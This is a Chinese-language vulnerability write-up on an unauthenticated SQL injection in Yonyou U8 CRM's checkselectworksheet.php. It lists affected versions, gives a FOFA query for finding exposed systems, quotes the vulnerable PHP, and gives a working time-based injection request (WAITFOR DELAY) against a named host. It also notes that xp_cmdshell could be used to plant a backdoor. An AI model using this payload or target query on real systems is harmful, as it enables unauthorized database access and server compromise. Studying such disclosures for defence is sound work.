用友U8 CRM checkselectworksheet.php SQL注入漏洞


漏洞简介

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友 U8 CRM客户关系管理系统 checkselectworksheet.php 文件存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V13

fofa语法

title="用友U8CRM"

漏洞分析

那直接看 U8SOFT/turbocrm70/code/www/servicequotation/checkselectworksheet.php 业务逻辑实现关键部分

<?

include_once("tglobal.lib");
    //依次把GET POST 变量变成函数内的变量
    $wsIDs = TGetRequest('wsIDs');//服务工单明细ID
    global $gblDB;
    $checkSql="select distinct(ws.pay_account_id) 
             from tc_worksheet_d wsd
               left join tc_worksheet ws on wsd.ws_id=ws.ws_id
               where ws_d_id in ($wsIDs) ";//服务工单明细只能来源于同一付款客户下   
    $rs=$gblDB->query($checkSql);
    $pay_account_id=array();
    if ($rs)
    {
       while ($rs->fetchRecord())
       {
           if (!isEmptyString($rs->getFieldValueByName("pay_account_id")))
               $pay_account_id[$rs->getFieldValueByName("pay_account_id")] = $rs->getFieldValueByName("pay_account_id");
       }
       $rs->close();
    }
    $result = array();
    //if(count($pay_account_id)!=1 || !$pay_account_id[0]){ 
    if(count($pay_account_id)>1){
       $result['success'] = false; 
       $result['message'] =TDD_GetDatadict()->getStringRes("STR_CHECKACCOUT");
    } 

$wsIDs = TGetRequest('wsIDs') 获取外部输入参数并在 $checkSql 字符串中无任何过滤,无任何过滤和校验,造成sql注入漏洞。

漏洞复现

GET /servicequotation/checkselectworksheet.php?wsIDs=1);WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: u8crm.mrxn.net
Cookie: PHPSESSID=bgsesstimeout-;

成功延时 5 秒


手机扫码阅读

NetMizer日志管理系统 terminals.php SQL注入漏洞

泛微e-office SignatureDel.php sql注入漏洞

评 论